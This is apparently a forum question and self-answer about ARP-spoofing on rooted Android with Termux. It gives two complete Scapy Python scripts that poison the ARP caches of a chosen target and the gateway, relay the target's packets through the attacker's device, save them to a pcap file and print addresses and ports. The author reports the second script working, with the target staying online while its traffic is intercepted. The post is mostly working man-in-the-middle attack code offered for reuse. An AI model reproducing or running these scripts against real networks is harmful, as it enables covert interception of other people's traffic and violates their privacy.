Is it possible to intercept traffic with ARP-spoofing on Termux(rooted Android)?
I have this python script:
from scapy.all import *
from scapy.interfaces import *
from threading import Thread
import logging
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def arp_spoofing():
eth = Ether()
arp = ARP(pdst=target_ip, psrc=gateway_ip, op="is-at")
packet = eth / arp
while True:
sendp(packet, iface=iface, verbose=False)
time.sleep(2)
def get_mac(ip):
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answ = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
try:
return answ[0][1].hwsrc
except:
get_mac(ip)
def forward_packet(pkt):
if pkt[Ether].src == target_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = gateway_mac
sendp(pkt, verbose=False)
elif pkt[Ether].src == gateway_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = target_mac
sendp(pkt, verbose=False)
wrpcap(filename, pkt, append=True)
print(f'-----------------------------------------\nPacket intercepted:\nfrom: {pkt[IP].src}\nto: {pkt[IP].dst}\n')
layers = []
for i in range(len(pkt.layers())):
layers.append(pkt.getlayer(i).name)
print(f'Network layers: ', end='')
print(*layers)
if TCP in pkt:
print(f'TCP port: {pkt[TCP].dport}')
print('-----------------------------------------')
def sniffer():
while True:
sniff(prn=forward_packet, filter=filter, iface=iface, count=1)
iface = get_working_if()
filename = input('Name of .pcap file: ') + '.pcap'
target_ip = input('Target IP in local network: ')
target_mac = get_mac(target_ip)
gateway_ip = input('Router IP in local network: ')
gateway_mac = get_mac(gateway_ip)
attacker_mac = Ether().src
filter = f'(ip src {target_ip}) or (ip dst {target_ip})'
mitm = Thread(target=arp_spoofing)
proxy = Thread(target=sniffer, daemon=True)
proxy.start()
mitm.start()
It seems to work on Linux desktop with net.ipv4.ip_forward=1, so I tried to enable ip_forward on my Android phone.
I've tried next commands: 1.
echo 1 | sudo grep /proc/sys/net/ipv4/ip_forward
sudo sysctl net.ipv4.ip_forward=1
It changes needed parameter from 0 to 1, but I need to reboot the device to make IP forwarding work. So, when I do it, ip_forward is 0 again.
What should I do to enable IP forwarding and make this changes persistent(save them on reboot)? Or can I redirect traffic using Scapy and Python?
It seems like I've found the solution. There was no need to enable ip_forward. I've simply changed my code:
from scapy.all import *
from scapy.interfaces import *
from threading import Thread
import logging
import time
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def fprint(data):
sys.stdout(data)
def arp_spoofing():
eth = Ether()
arp1 = ARP(pdst=gateway_ip, psrc=target_ip, op="is-at")
arp = ARP(pdst=target_ip, psrc=gateway_ip, op="is-at")
packet = eth / arp
packet1 = eth / arp1
while True:
sendp(packet, iface=iface, verbose=False)
sendp(packet1, iface=iface, verbose=False)
time.sleep(10)
def get_mac(ip):
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answ = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
try:
if answ[0][1].hwsrc is not None:
return answ[0][1].hwsrc
else:
get_mac(ip)
except:
get_mac(ip)
def forward_packet(pkt):
if pkt[Ether].src == target_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = gateway_mac
sendp(pkt, verbose=False)
elif pkt[Ether].src == gateway_mac and pkt[Ether].dst == attacker_mac:
pkt[Ether].src = attacker_mac
pkt[Ether].dst = target_mac
sendp(pkt, verbose=False)
wrpcap(filename, pkt, append=True)
print(f'-----------------------------------------\nPacket intercepted:\nfrom: {pkt[IP].src}\nto: {pkt[IP].dst}\n')
layers = []
for i in range(len(pkt.layers())):
layers.append(pkt.getlayer(i).name)
print(f'Network layers: ', end='')
print(*layers)
if TCP in pkt:
print(f'TCP port: {pkt[TCP].dport}')
print('-----------------------------------------')
def sniffer():
sniff(prn=forward_packet, filter=filter, iface=iface)
iface = get_working_if()
filename = input('Name of .pcap file: ') + '.pcap'
target_ip = input('Target IP in local network: ')
target_mac = get_mac(target_ip)
gateway_ip = input('Router IP in local network: ')
gateway_mac = get_mac(gateway_ip)
attacker_mac = '<MY MAC ADDRESS>'
filter = f'(ip src {target_ip}) or (ip dst {target_ip})'
mitm = Thread(target=arp_spoofing, daemon=True)
proxy = Thread(target=sniffer)
proxy.start()
mitm.start()
And now it works the way I wanted it to. The target remains connected to the network, and the attacking device intercepts its traffic. I hope my answer will help someone who faces a similar task.